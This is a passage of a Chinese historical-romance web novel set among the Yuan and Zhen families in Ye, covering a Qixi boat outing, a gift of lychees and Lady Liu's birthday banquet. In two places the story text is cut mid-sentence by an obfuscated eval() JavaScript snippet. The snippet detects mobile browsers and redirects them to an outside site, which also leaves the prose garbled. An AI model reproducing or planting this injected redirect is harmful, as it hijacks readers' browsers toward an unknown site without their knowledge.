“阿母。”他很有眼力劲,揖完礼,乖巧凑到刘氏跟前,欢喜道,“这是沃雪铺的小食,孩儿今日路过,特意带了新品给您尝嘴。” 刘氏撂下脸,摆出一副哀怨的模样:“还是尚儿有心,你那两个兄长要是能有一半的乖顺,为母岂会……” 话半,却又叹气,用巾帕拭了拭干燥的眼角。 大哥已经回了青州,气也早该气完了,那剩下的,敢在母亲跟前继续犯浑的人,就只有二哥了。 袁尚低头瞥了眼一旁缩成团抿泣的女子,明知故问:“温表妹怎么在这跪着,仔细膝盖疼。” “她胆子忒小,旁的声音大些就犯怵,”刘氏皱眉,“快起来吧,回去洗把脸,瞧这脏兮兮的模样,跟谁欺负你似的。” 令磐如释重负,赶忙起身告退。 “不说这个了。您快尝尝。” “妙兰,拿去后厨热一热。尚儿你且先坐下。”刘氏这会子可没什么胃口,继续念叨,“你那温表妹到底出身书香,没成想如此小家子气,哪及她母亲的半分气派?平日里做小伏低,又爱哭,啼哭起来也是呆呆笨笨的,跟在我身边快半年了,是没见过那些婢妾怎样献媚惹人怜的吗?” 刘氏这话却很矛盾,一会儿指摘外甥女不够端庄大方,一会儿又嫌弃她没有手段招惹男人。 “孩儿可不懂,但孩儿最讨厌那种下作的柔靡模样。” “你是好孩子,阿母有你,宽心多了。” 袁尚应声:“哪个不长眼的又惹您不快了?孩儿替您讨个痛快!” “二郎如今长大了,脾气也渐长,有自己的主意和小心思了,就连阿母也过问不得,以后若再娶了新妇,岂不是要与你长兄一般,将阿母全然抛诸脑后了?” “怎么会?”他讨好道,“若真如此,孩儿这辈子都不要娶妻了,只永永远远孝顺您与父帅。” “胡说什么,倒不要你在这乱表忠心。”刘氏笑嗔,“我与君侯最操心的,还是你的婚事。慢慢挑,可不能草率。知道你看上了春幡那丫鬟,过几日开了脸,就送进武魁院服侍你。” 闻此,袁尚躬身长揖,已然喜形于色:“孩儿多谢阿母。” 29.七夕 “我就不去凑热闹了。” 晌午,季蘅靠坐在池西亭榭的簟子上看书,难得好友这时段过来探望自己,特意给她分了盏甜甜的果酿。 善印今日所穿甚显绮丽厚重,她捏起一角巾帕,轻拭鬓角的汗渍,就怕弄花精致妆容:“敢情我刚才算白费口水了?” “哎,我虽姓甄,却不擅针,何必上赶着丢脸,还是藏拙避妍为妙。况且,那种拘谨场面,连箸匕都不敢多动,实怕浪费了美景良辰。” 闻此解释,她亦有同感,不自觉点头,后又猛然想起什么,勉强笑了笑,转而旁敲侧击:“可帖子确是袁府文夫人亲自下的。这邺城你初来乍到,若贸然拒了,似乎有些欠妥吧!万一大家都疑你不懂礼数,是孤僻骄恣之人。闺妇间,往后恐不好立足。” 乞巧节,文夫人在袁府掬华园办了个兰夜赛针宴,每年不落,据说这次邀请了满邺城的待嫁贵女,那场面一定百花争妍,颇具亮色。 “谈不上误会,礼数我一向就不太懂,也没想着与谁合群,”季蘅盯了眼自己新染的珍珠粉指甲,懒散道,“怪罪便怪罪吧,倒比她们错觉我是个好拿捏的软柿子强。” “哼,大嫂还总念叨我孩子气,要我看你更不明事理些,”善印佯作嗔怒地点了下季蘅的额头,“怕是忘了你家兄长正为谁做事?” 季蘅却不在意地反驳:“甄尧的前程岂是一场乞巧宴就能轻易断送的?若真如此,要么是他太没本事,要么是对方不值当。” 都到袁绍麾下效命了,职业生涯属于岌岌可危,巴不得从此不被重用,高低甄尧还有袁熙等僚友相护,用不着自己操心。 “当真不去?” “嗯,不去了。原是想约着你一块去逛夜市的……”她顿了顿,“既然你们今晚都有宵宴要赴,那就改天吧。我个人留在家中,继续布置院子,好不劳碌。” “又唬我,谁信你肯乖乖待在屋里,半步不出的?”善印扯了扯袖子,无奈叹气,“罢了,只此一次,就哄说甄五娘今日实在身子不停当,难以赴宴,改日再登门赔罪。谅文夫人通情达理,明面上也不会太计较的,不过,你千万藏好了,可别我那边一赔笑完,你就大摇大摆地出现在街市上逍遥!” 季蘅献媚般笑脸以待:“多谢,下次定请姐姐吃好酒。” 等送走好友,她直接回了集芳馆,已经暗自琢磨今晚的安排。 刚进院门,只瞧见红枭一人,安静蹲在墙角打理庭院,还搂着个篾篓拔野草。 “这块种的是什么?” “回娘子,按您之前的吩咐,让花匠撒的玉兰种子,还有一些驱蚊的百里香。” “你辛苦了。”季蘅有些不好意思地笑笑,最近有些瞎忙碌,她都快忘记这事了,又问,“可知缦双她们去哪了?” “缦双说您这几日睡得不太安稳,大约是择席,便去药房抓了茯苓、酸枣仁、百合……现下应当正看着汤。细宝倒是抱着东西刚进屋。” “好,我知道了。拾掇完这些,就赶紧去用晚膳吧,听说彭姑煮了条大鱼,若去得早,这鱼肚上的肉肯定归你了。” 季蘅掀帘进到内室,果然,细宝那丫头正藉坐在席边归置衣奁。 早前让细宝找到卢宽,托他在郊西的芦苇荡租条小舟,再往里头偷藏几盅美酒——想必已是万事齐备了。 又见软塌中央明晃晃摆着条黄粉间色九破交窬裙,忽然眼前一亮:“这裳裙怪眼生的。” “噢,孟家侄子探亲回了,这是他孝敬您的手信,刚托雁弩送过来的。” 季蘅这才隐约想起,之前是跟孟觉苦提过想要条黄舞裙,没想到他真把自己随口一提的话记在心里,不由感到惊喜。 “奴婢仔细瞧了,布料和做工都是极好的,还特意浆洗熏香过。”细宝却话锋一转,几分尖酸地讥诮,“他好了不起,小小杂役,就拿那三瓜两枣的,竟没有贪便宜买烂货。” “你更了不得,张嘴就叫我扫兴。” “那不能够,奴婢逗趣的。” “赶巧了,我夜里就穿这条。”季蘅轻搡细宝的肩膀,肆意踞坐榻上,边问,“把我上次画的那张骑马图裱好,外加两罐鹿角胶,改日一并送给孟觉苦,权当是还礼了。” “是。” “还有,交代卢宽的事,办妥了吗?” “都已备好了。他啊,还起誓一定不告诉三公子,若敢违背,来世变个绿毛龟,给娘子踢着玩。” “我踢他作甚,还累得脚疼。” 细宝忙替她捏腿,也笑说:“不消娘子动气,奴婢提早帮您教训他。” 瞬眼夜幕降临,卢宽驾着马车,偷偷从甄府后门,通过平灵街,往城郊驶去。 接近墨一般的深蓝缓缓晕开,天与水缀满灿烂小星,虫鸣吱吱,芦浪阵阵。 “五娘子您请。” 扶季蘅下马车时,卢宽恭敬佝着腰,连头也没敢抬。 “那船正隐于芦苇荡中,其间有一艄公,您若觉着不便,可直接遣开。小仆就在此守候,竖直耳朵,等您吩咐。” 于是,季蘅对身旁的细宝说:“我想独处一会儿,你与他就在这边候着。” “夜里黑,湖边危险,娘子您一个人不害怕吗?” 她则洒脱答:“我只怕不够自在。” 说罢,便接过灯笼,提着那一点光,只身来到湖边。 芦苇丛中的船头隐约跪坐一人,她本想开口遣走这名艄公独处,却见那人擎着酒葫芦,陡然站立。 “快立秋了,更深露重,该喝些醇酒暖暖。” 孟觉苦回头,朝季蘅微微笑道。 多时未见,他似乎在寻亲路上重拾了活气,变得洒脱自信,不再那般克己。 如今的他是一只放归阔野的白鹤,被芦花簇拥,立于满船星河之上。 季蘅没感到太意外,晚风吹得她畅快舒坦,此刻心底悄然涌起的欣悦,比石榴浸酒更叫人沉醉。 “你怎么在这?还把我藏的酒喝了。” “我就是今晚的艄公,一切听从娘子调遣,至于这报酬,半壶美酒足矣。” “好,那拜托这位艄公了,”季蘅款款走来,“请你划到水中央。” “小心。”见她踏上小舟,孟觉苦连忙伸手相迎,而轻轻摇晃之间,季蘅也下意识反扣住对方的手臂。 “幼时我曾因落水,害了一场大病,按说合该忌惮这些江河湖海的。”她站稳后,欢欣落座席上,“可我还是向往得紧,总是记吃不记打。” 孟觉苦却重复道:“娘子当心。” “我又非弱不经风的人,尚可无忧快活一阵。” 他沉默地在一旁摇桨,季蘅则拿过葫芦,豪迈仰面倒了几口,洒漏的酒滴难免弄脏衣襟,却不甚介意,只笑问:“多谢你的手信,这裙裳是在哪买的?真好看。” 孟觉苦顿了逾时,才答:“雒阳,我顺眼瞧见了,忽想起你那 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“我啊,我做梦都希望自己能走远。”说着说着,季蘅竟直接躺了下来,几乎未戴钗环的青丝翠发,像一滩墨。 见状,孟觉苦微愣感慨:“倒浑然不介意礼节了。” “你不说,便再没有第三个人知晓。” 船行至湖水中央,他又看了眼安逸躺着的季蘅,有很多话想说,却无一言说得出口,只能坐得更近些,偷偷拿回自己的酒葫芦喝。 “孟觉苦。” “在。” “我挺喜欢跟你闲聊的,如果有一天,我们能无顾虑地畅所欲言就好了。” “你想聊什么?” “很多啊,都行。” “那就慢慢问,来日方长,我自当知无不言。” 季蘅盯着繁星,忽感叹:“夏夜里若有烟花助兴,才算圆满,真可惜啊。” “从前倒闻所未闻,那是什么花?” 她轻哼了声,笑道:“我们仙界有名的法术。听得焦响,可叫这黑夜一瞬亮如白昼。只待拔地而起的火光,凌空绽放出巨大斑斓的耀耀星子与雾气,四溢时,比得漫天星陨,轰轰烈烈,胜过人间无数。” 孟觉苦却当她是酒醉迷糊了,附和:“这般厉害,何时也让我见识一番?” “下辈子吧。” 季蘅先前琢磨过自制/烟花的可能性,一硝二磺三木炭,口诀背得溜,具体配置却不清楚,更不敢轻易尝试,怕把自己炸出个好歹,最后只能遗憾放弃。 只恨没学好无机化学,即便绑架几个炼丹的老道士,也不知道要搞出什么燃料和多少金属粉…… 话说回来,要是真给她弄到火药,谁还有空放烟花,直接研究火枪、红衣大炮,麻溜跑去当军火商了,给这群冷兵器时代的老兵们一点魔法震撼! 不过,孟觉苦可能不会喜欢,他是从死人窟里艰难爬出来的,见识过战争的恐怖,一定很讨厌这种玩意。 “你说,千百年后的下辈子,”季蘅忽然又问,“我们还会在这片夜空下相见吗?” 孟觉苦有些不知所措,半晌,他才唯然答:“若有来世,就不要再作人了,我可能是条山涧里的小鱼。” “好啊,那我当渔夫,把你叉了烤着吃。” 两人都笑了起来,笑着笑着,却不知为何从哪里感受到悲伤,不约而同地难过起来。 谁也没再说话。 30.荔枝 又是一年肃秋,橙黄橘绿,正当出行游玩的好节岁。 袁家兄弟和甄尧那群士人,最近常约在尉山狩猎,山下还有个颇大的校场,或赛马蹴鞠,或比武斗鸡,供他们肆意消遣。 而庭院里边,更是并驾齐驱的“热闹”。 听说初八那天邺侯夫人要做寿,宴请诸多宾客,她素性浮华好虚名,讲究场面又处处挑剔,哪怕酒戏的筹码没用上最贵的,恐怕都要甩脸子…… 至于张罗寿宴的苦差,自然落在长媳文氏的头上,这是个劳累活,事多,还容易遭埋怨,便说排座席的门道就够她商酌一阵的。 家宅里的人心虽诡谲,好天气却是一如既往的赐顾,点点雁阵浮过碧海青空,日光软绵绵地滂施大地,温煦又明净。 季蘅向来爱享受,刚喝完甜稠的红豆桂花羹和小半钵子酒酿,现下变成团懒猫,枕着胳膊,自若蜷在湖边的榭台晒太阳。 她摸来柄泥金纨扇,掩住了瓷白的脸,仍迷糊听见旁边伺候的绫戈压低嗓子,继续絮念:“三夫人说寿礼她那边已经备好了,届时您只顾跟着同去,不消客套应酬什么。” “知道了。” “晚膳准备了您喜食的鲜鱼,还有上回袁熙公子送来的兔肉,您……唉,娘子您醒睡些,湖边湿气重,仔细伤风。” 可惜人困意正浓,饶是天塌了,也不肯施舍半点应响。 绫戈略无奈,只好妥协道:“等红枭取来画布,奴婢再唤您。” 她乖乖守在身边,提着个劲儿四周张望。 若是在她们自己的院里,再胡闹也无妨。只因这水榭亭离耦闲轩不远,四周往来的多是外客,万一给他们撞见甄家五娘这般放肆失仪,恐怕要落人口舌。 “小妹!” 不知道过了多久,绫戈被这一声唤,吓得一激灵,连忙寻声看去,见是甄尧,稍松了口气,又指了指地上貌似酣眠的人,噤声摇头。 甄尧却不在意,背手走进榭台,继续大声道:“我啊,刚从袁熙那里赢得了好东西——” 藏在身后的右手托出个蓝水翡翠的阔口杯,里头竟然搁着洗过的三颗红荔枝。 “睡着了?”他微微挑眉,“那绫戈,不若就全赏给你吧。” “奴婢可没口福尝这种稀罕东西,肯定闹肚疼。”绫戈很机灵,忙起身笑道,“正好公子过来了,奴婢得空去小厨讨些茶点,就怕娘子待会儿睡醒口苦,还请您在这边辛苦看顾。” “怎么,你还怕她这么大个人了,又像小时候掉进湖里不成?” 绫戈知晓他的脾气,便说:“也为公子捎一碗冻饮。” 这才得以脱身。 虽已入秋,余热却难消,大家还都爱贪凉。甄尧倚着阑槛坐下,把荔枝搁在了一旁,有些居高临下地望向似乎已经坠入梦乡的季蘅。 “你非要躺着同我说话么?” 到底是亲兄妹,打小就习惯了对方的小伎俩,何况明晃晃的装睡。 季蘅这才不耐烦地拂开了掩面的纨扇,只觉得胳膊发酸,再就一歪头,看清自家哥哥那张棱角分明的俊脸。 “终于醒了?”他反讽道,“不会是我吵醒你的吧?” 良晌,季蘅懈怠坐起身,顺手抚了抚裙摆的织金花样,一副泰然自若的模样,语气耐人寻味:“兄长最近好逍遥啊,整夜歌舞笙箫,连家都不着了,难得今日有空来看望我。” “看样子阿婉没少找你们抱怨我。” “本就是你自己有错。” “是,我的错。”甄尧笑道,“喏,就当给赔罪打个样,快尝尝,这可是大老远从趾刺史部送来的,珍贵无比。” 居然是荔枝。 没成想此时此地还能有幸再见到这类水果,怕是皇室待遇也不够着了。当年汉和帝就因荔贡过于劳民伤财,下谕废除。百年过去,载运之艰难,于四海鼎腾的今朝更甚。 “哪来的?” 鲜红的荔枝,当真应了那句,灼灼若朝霞之映日①,可若仔细看,透过美丽的外壳,每颗之上仿佛都血渌渌写满八个字,奔腾险阻,死者继路②。 “兄长,咱们再贪嘴,也莫要干出伤天害理的事。” 甄尧委实哭笑不得:“好妹妹,想什么呢,怕是太高看你兄弟了!我若有那门道,做事何愁不成,跟几颗荔枝计较什么。只他谢容允乐意费心,琢磨了个绝妙的法子,以青筠储之,蜂蜡封之,蜜水浸之,可保十数日色香不变。③” “当真?” 闻此,季蘅才搁置了赌气,用帕子接过来,先是凑到鼻下好奇地细嗅。 “大可放心,这些都是给你一人的。我已经尝过了,没烂更无毒。” 话已至此,她仔细剥好一颗,然后小心翼翼送进嘴里。 是因路途遥远,味道已不算新鲜,没有记忆中那般美味,但聊胜于无。 一旁的甄尧似乎若有所思,深深量了她几眼,妹妹今日这身妃色斜襟薄裳衬得人比平日更甜俏,肌肤宛如荔枝果肉一般白皙……原来早已长成大人了。 “喜欢吗?”他忽将目光投向了湖面,意味深长地问。 季蘅卖乖倩笑:“多谢兄长。” “不必谢我,这些荔枝归根究底是谢容允为讨好袁二公子准备的。”甄尧说,“你若喜欢,就该亲自去跟他道谢,或能吃到更多。” 笑容从季蘅的脸庞骤逝,扫兴得甚至有些食不甘味:“那我不喜欢了。” 已经咽进肚的没法再吐出来,她只好把所剩的最后一颗,讪讪还回了翡翠杯里。 无甚意义,但至少能表明自己的态度。 哎,便是块石头也该被捂热,甄尧则陷入了短暂的沉默。他这个妹妹,坚决、果毅,时常犯犟,但好在会审时度势,顾全大局,很少叫人下不了台。唯独对袁熙的态度,却是异常反感,恨不得把“避君三舍”直接亮在脸门上。 费解啊。 甄尧挠了挠鼻翼,企图掩盖住情绪中的忧虑和茫然:“这就吃饱了?” 季蘅倒直言:“我害怕眼下收到的馈赠越多,将来付出的代价越大。” “傻丫头,兄长还能因为几颗荔枝把你卖了?东西是我带来的,那账也该算在我身上。”甄尧轻叹气,言不由衷道,“至于袁熙,你不愿见,就不见吧。” 不知不觉,日光开始西斜,天地间慢慢披上朦胧柔和的暖调,成群的水鸭子浮在碧湖,偶有松鸦成群,栖在高高的树顶。 久久,季蘅忽开口:“我最近喜欢上律曲,可以请襄玉 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14132710|149044||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 坊的琴师到家里授业吗?” “看中谁了?” “白楚夫,你应当认得他。” 甄尧惊疑她的难得诚实,微扬眉:“他谱的曲确实动听,只不过……若是真心喜欢,就随你。” “好,那我也答应你了。” “答应我什么?” 季蘅用帕子简单收拾了果皮和核,笑说:“邺侯夫人的寿宴我会出席,并乖乖跟在阿嫂身后,优优待到结束,绝不给你们惹事生非。” 甄尧面上含愧,有种被看穿的羞耻感,笑着掩盖自己的尴尬:“那我就放心了。” 大约申时,他又出甄府,回到了襄玉坊。 只见袁尚正醉醺醺地倚着二楼的勾栏,右手倒干净一壶美酒,并肆意地朝着楼下扔起缠头锦和玉质酒筹,放声大笑:“今日诸位泼的酒,皆由本将请了!” 醉生梦死的人群中,他的部下苏游站起身,高举酒盏,领着大伙儿朗声唱和:“多谢少将军恩惠!” 甄尧的脸上闪过一丝鄙薄,但很快,收敛起对这位公子的真实态度,摆出副奉承的嘴脸,打躬作揖,然后才走进厢房。 “……你哪能落于人后啊!”韩循正往谢容允的杯子里倒酒,哄他多喝,“咱们这位大富商不晓得又坑骗了南越人多少奇珍异宝。” 谢容允自然推脱,边朗声:“少空口污蔑,我的买卖一直如假包换,童叟无欺!” “许诺给我们带的大象、孔雀、能言鸟在哪!”焦触把盏,也在旁歪缠,“还有,能歌善舞的夷族美姬呢!” 袁熙抬起笑眼,任他们胡闹。 “好哇,正事却不见你们这般积极。”甄尧悠闲走来,并睨了焦触一眼。 焦触听出话中深意,连忙摆手:“赵姬就要开嗓唱曲了,勿谈公事,勿谈公事。” “你那是听曲吗?”对面的魏讽拿起酒端子指向他,奚落道,“上回,分明直勾勾盯着人家的琵琶——骨!” “爱美之心,人皆有之。却不比在坐的几位,假正经,佯作正人君子。” “诶,你们吵归吵,可别牵累我。”袁熙笑嗔,边抖抖袖子,亲手为甄尧舀了盏美酒,“这是襄玉坊新上的木樨酿,唤作秋浓,就如其名,绕口缠绵,很是不错,都快尝尝。” 那边的谢容允大约被吵得头疼了,无奈接下韩循递的酒,一饮而尽。 韩循这才满意地回到座席,并对身边的魏讽说:“那焦幼渊可从没说过自己是正人君子啊。” “哈哈,还是子顺懂我。” “好,他不是,你不是。你们啊,皆为不畏权贵的说客,不过,也是那见异思迁的宵小……” 闻此,谢容允拿起果盘里的一只梨,砸向胡言乱语的魏讽:“多吃少食。” “让他说!迟早折在那张破嘴上!”众人哄笑。 而甄尧懒得参与他们的唇枪舌剑,顾自朝袁熙敬了杯茶水:“明日邺侯夫人千春,内子、家妹共将赴宴,届时还请公子多多照拂。” “当真?弥……弥娘也去吗?” “小妹自己答应的,还能有假么?” 袁熙得了意外之喜,脸上浮现出难抑的笑容,连忙与之碰杯,浮一大白:“好,那是自然,我一定好好关照!” 31.寿宴 初八这日的大清早,鸟还没叫几声,薛婉已经凑在妆台前忙活好一阵了。 自从坐蓐完,她喝了不少甘草苓术汤,腰身却没如愿瘦成原样,又天生是张满月圆脸,总显得人愈发胖了,便只能绞尽脑汁地往穿衣打扮、施丹傅粉上补救,倒也差可称意。 九月秋寒扑簌,被子里的甄尧打了个懒洋洋的哈欠,此时此刻,他困得像摊烂泥,绵软糊在卧榻之上。 “你究竟听没听我讲话啊?” “听、听着呢。”他还睁不太开眼,敷衍了句。 薛婉放下象牙梳篦,朝铜镜挤出一个端庄假笑,终于大功告成:“袁二公子昨日又给咱家几个女眷送了些上好的毳锦。” “对,正是公子托人从幽燕购置的。” “这其中缘由,你自然比我清楚。只是我私地琢磨着,人家既已洗干净心思,晾在我们眼前曝晒了,往后再装糊涂也不合适吧?” 闻此,甄尧才缓缓睁开眼,稍清醒了些,他知道薛婉最近在操心什么,只是:“小妹不点头,我又能奈何?” “婚姻嫁娶,自古由父母长辈敲定,此乃天经地义的常理,怎么独独到了你家,就好任小女儿胡闹?”薛婉回首嗔视他,抻了抻云纹袖口,被丫鬟引棠搀起,并轻移莲步,往这边走来,几分感慨道,“先舅与两位兄长去得早,家中诸事便靠你拿主意,若非从前太纵容,如今哪需等她点不点头?” “反正我是招架不住,一提袁熙,小妹恨不得咬死我。”甄尧歪头谄笑,抬手牵住了薛婉,“唯请夫人大发慈悲,今日帮我治治那个小无赖。” 薛婉却冷漠地抽回手,是以最讨厌他这副虚与委蛇的嘴脸:“少跟我玩笑,正经些。我是她亲嫂,婚嫁之事自当上心。这个袁二公子,必定助小妹拿下!” 甄尧只顾装愣,哧哧憨笑。 “罢了,”薛婉亦有些怒极反笑,捡起掉落榻边髹几的香帕,“你这浑虫继续睡吧,哪天睡不醒了才好,小妹也该同我准备赴宴了。” “别太累着,我和渠儿等你回家,啊,在睡梦中等你。” 薛婉嫌烦,懒得再多嘴搭理,只拿帕子直面甩了他一下,然后才返身,往外喊道:“观杏呢。” 话音刚落,立马打帘走进两人,正是观杏,还有细宝。 “郎君,夫人。” 瞧见季蘅身边的随侍丫鬟,薛婉略纳闷:“五娘子已经到了?怎没瞧见她人影?” “适才碰见湛小郎君,娘子正在廊下同他们叙话,先遣了奴婢过来问安。” 这时,甄尧忽然说:“是我喊景湛过来的,考考他最近的功课。” 薛婉虽意外,但没再问什么,眸子一扫,被引棠、观杏、细宝三人拥着走出房门。 这天色不知何时变得蓝旺旺的,她舒服地呼吸着丝丝秋意,也眺见不远处回廊间的人: 季蘅一袭浅珍珠红留仙裙,搭着藕粉罩衣,正与霁风斋的小仆搭话。 她表现得意外矜持,冁然低头的模样堪比秋日清晨里含露的花骨朵儿。 年轻真好啊,薛婉忽然感慨地想,而后欢愉地唤了声:“弥儿。” 少年人的眼睛藏不住喜恶,他们不擅伪装,疲于撒谎。于是那些欲说还休的小心思,皆叫旁观者瞧得清楚明白。 景湛扯了扯小姑那一角轻飘衣袂,季蘅才回头,注意到站在阶口的三嫂,笑意很快盈满弯成月牙的双眸。 “阿嫂。” 几分俏皮地褰裳跑来,手里还拿着一只草编的蜻蜓。东西是卢宽教她的,编好后,还特意刷了带金粉的红漆。 “慢点,”薛婉轻蹙眉头,但或许因为这样年轻活泼的场景太过美好,她也并非真的生气,语气甚至透着些许宠溺,温柔道,“又没人催你。” 秋天,还未凋落的树叶在微风中摇曳,悉悉沙沙。 等到两人上了同辆马车,薛婉才开始叮嘱些礼节的事,无非是见到其他的贵妇,该怎样做,说什么话,从头到尾,莫敢懈怠。 季蘅假装听得很认真,时而点头,再点头,其实眼睛偷瞄着手里的红蜻蜓默默出神,是一句也没听进去。 袁府今日很热闹,几乎满邺城的贵眷都挤在这里给邺侯夫人祝寿了。 刘氏难得换了身鲜艳的福衣,端坐在符葆堂主位,笑得像尊慈祥的泥像,朝前来说吉祥话的人频频点头。而身边伺候的瞿妙兰时而贴耳告知,此客是谁家的,送了什么,又值多少金。 “原想着外边战事纷扰,我的寿宴能简省则简省,不过寻常一个生辰,也非逢九整岁,可孩子们有孝心,硬是要大办啊,劝不住。” 寿堂布置得颇气派,文悫君确实费了不少心思,现下也没闲着,站在廊庑吆喝张罗。 “这儿再摆两盏金桔、这儿挂的红灯笼呢。诶诶诶,仓庚,你过来!那两位享清福的公子又跑到哪里偷闲去了?” “回夫人的话,二公子一直在府前迎客,三公子刚才说口渴,顺道去后厨看菜了。” “什么口渴,我看就属他嘴馋,皮得很!”文悫君笑道,“正好,事多着呢,你也别在这瞎晃悠,快去库房取对寿烛,就摆在那方桌上,要最长最高的。” 她吩咐完,又利索一回身,可巧劈面撞见温家那个小娘子,脸色不由耷拉了下来。 “文嫂嫂。” 未料这开口是跟自己说话了,她便僵硬地扯了扯嘴角:“温家妹妹,你怎么过来了,可是女君又有吩咐了?” 令磐点头,却又连忙摇头,显得有些胆怯:“是姨母让我唤熙表兄去寿堂,可找了半天也没瞧见。” “他啊,方才还在眼前忙着,也不知现下跑哪潇洒去了!”文悫君没说实话,“我这边暂时走不开,要不你自己先四处寻寻?” “不敢叨扰表嫂,磐儿去后院看看罢。” 自打嫁进袁府,文悫君一直受着刘氏明里暗里的刁难,却没胆直接违逆这老人家,只先挑软柿子捏,把气撒回她外甥女身上。 其实也不止文悫君,全府上下都是欺软怕硬的,很少有人以真心善待温令磐这落魄的远房亲戚,寄人篱下,委实可怜。 “阿甄!” 刚随三嫂踏进袁府,季蘅就在四处顾盼,想找见她的好友善印,可惜今天太背时,迎面竟碰上了袁熙。 少郎穿着亦是隆重喜庆,笑逐颜开地走近揖礼:“薛嫂嫂,阿甄妹妹。” “哎哟,我哪里就受得起少将军唤一声嫂子了。”薛婉拿帕子遮了遮嘴角,忍住没笑出眼纹。 “自然当得,我与甄尧是多年挚友,何况……”袁熙的目光又移落在季蘅身上,这女子的美,越发叫他难以自抑,心荡神驰,竟生生痴忘了把话说完。 薛婉玩味一笑,已是领悟,忙撇头,用余光示意身侧的小妹回礼。 而季蘅正默默祈祷他们别聊太久,见所有人都盼着她开口,更觉尴尬了,于是把红蜻蜓藏进了袖子里,低眉肃揖,还嗡了句除她自己再没人能听清的“袁二公子”。 “这丫头被惯坏了,只敢窝里横,一出来碰上大世面倒畏缩起来,少将军您幸勿见怪,往后大家多聚聚,相处熟悉了就好。” “不打紧,甄娘子年纪小,认生正常。”袁熙笑吟吟地引路,“宴席摆在初鸿阁,请。” “有劳了。” 季蘅没别扭多久,很快被袁府的气派所吸引,碧瓦朱甍,层楼叠榭,无处不透着富丽,甄家再富足,也抵不过大权在握的袁氏一半。 据说占地都快八十亩了,袁家人丁不少,邺侯好 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14149555|149044||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 美色,纳了一堆妾婢,不过,他们多住在南院,北院的屋子几乎荒置着。 这路上,时不时会有丫鬟奴仆捧着各色各样的玩意来来往往。在经过某片池塘时,季蘅注意到附近的竹丛里,有两只丹顶鹤,她一时看得入迷,忽道出声:“有鹤。” “松鹤延年,这是我送给阿母的寿礼,”袁熙欣愉地侧身搭腔,“娘子也喜欢鹤?” 季蘅想了想,然后点头:“喜欢鹤的姿态,就像君子的风骨。” 一旁的薛婉听笑了,微微扬起下巴:“喜欢啊,既然喜欢就多看看,二公子,这园子真好,您肯定没那么小气藏着掖着独享吧?” 袁熙忙道:“只要薛嫂与甄娘子肯赏光,随时可以过来。” 季蘅礼貌道了句谢,心里却想着,我往后赖在这里的时间好像比你们袁家人都多……也突然有种鸠占鹊巢的惭愧。 等终于走到寿堂,迎面过来一位宝蓝锦衣的美妇。 “请了多回都未成的名姝,今日终于有幸见着面了!” 说话者正是文悫君,她朝薛婉熟络地点点头,而后望向一旁的季蘅,并快速打量了番。 “你就是甄家的五娘子吧?我乃袁显思之妻文氏。今日得见仙子入凡尘,果然名不虚传。” “小女甄氏拜见文夫人。” “莫要拘礼,就跟自家姊妹一般。”文悫君忙牵起季蘅的手臂,左看也欢喜,右看也满意,不由叹服叫绝,“从前只听二郎、善印丫头他们提起过,说是个了不得的美人,我自恃见多识广,还不以为然,如今看来,当真绝代风华,远近无人能敌。” 第一回见面就这样夸张吹捧,季蘅难免臊眉耷眼,挤出句:“夫人谬赞。” 所幸客套招呼完,文悫君去忙别的事了。薛婉在檐下交代了季蘅几句,然后拉着她进门。 这一不小心,红蜻蜓从她的袖口掉落,被后面的袁熙瞧见,偷偷拾了去。 “是毋极甄家的来拜寿了。” 闻此,略显疲累的刘氏还没来及润口茶,立刻抬头看去。 “邺侯夫人金安,今逢寿诞,甄氏女眷敬祝您日月昌明,鹤松长春。” 席前站着两名女子,很轻易辨出,前头那个丰满端庄、作妇人打扮的,正是东曹属甄尧之妻薛氏; 而后站半步的粉衣丽人,想必就是儿子日思夜想的姑娘。 “好,快免礼。” 季蘅经立,缓缓抬平目光。 刘氏一时看得呆愣,心叹道: 原只听闻甄家有女,生得美貌,又具文才,堪当闺中博士,却没想到出落得竟是如此标致,受熙儿青睐倒也情有可原了;自然,当他们袁家的媳妇单靠一张脸委实不够,也不知私下里秉性如何,孝不孝顺,好不好拿捏…… 想着想着,忽陷入一种莫名糟乱的情绪中,还是被瞿妙兰提醒,她才恍然回过神,客气地说了些场面话,后又不经意地扫了眼左手边,下站的宿夫人,暗自骂道——这狐媚子又装出副病怏怏的柔弱模样了,君侯不在,掩面咳嗽是想演给谁看?还有旁边的,采商、识羽那几个婢妾,更是庸脂俗粉,上不得台的倡伶卖笑相! 痛快嘀咕了几句难听的话,刘氏总算把自己哄高兴了,心满意足地继续扮演起所谓尊贵、端庄的当家主母。 季蘅倒没注意这些,也发现不了那皮囊下的拙劣心思,叩拜完,她轻松地舒了口气,终于能去隔壁的宴席上落座了,而不远处的善印早到多时了,正挤眉弄眼地对好友偷笑。 今日的宴过得再心怀鬼胎,说了什么话,发生了什么事,她也全然不在乎,只顾盯着远处那道稣黄油亮的烤全羊,孜然与焦肉香味早已盖过手边枣泥馅的山药小方糕,心想,若再配上一卮冰镇的葡萄果酒,简直美得要命! 32.阋墙 “母亲。” 袁熙不徐不疾穿过堂前的雕镂彩漆座屏,站定后,拱手朝里拜了拜。 入夜已深,刘氏正独自立在半卷的帷幕旁,望着那一弯玉璜似的秋月高悬窗檐,有些怅然若失。 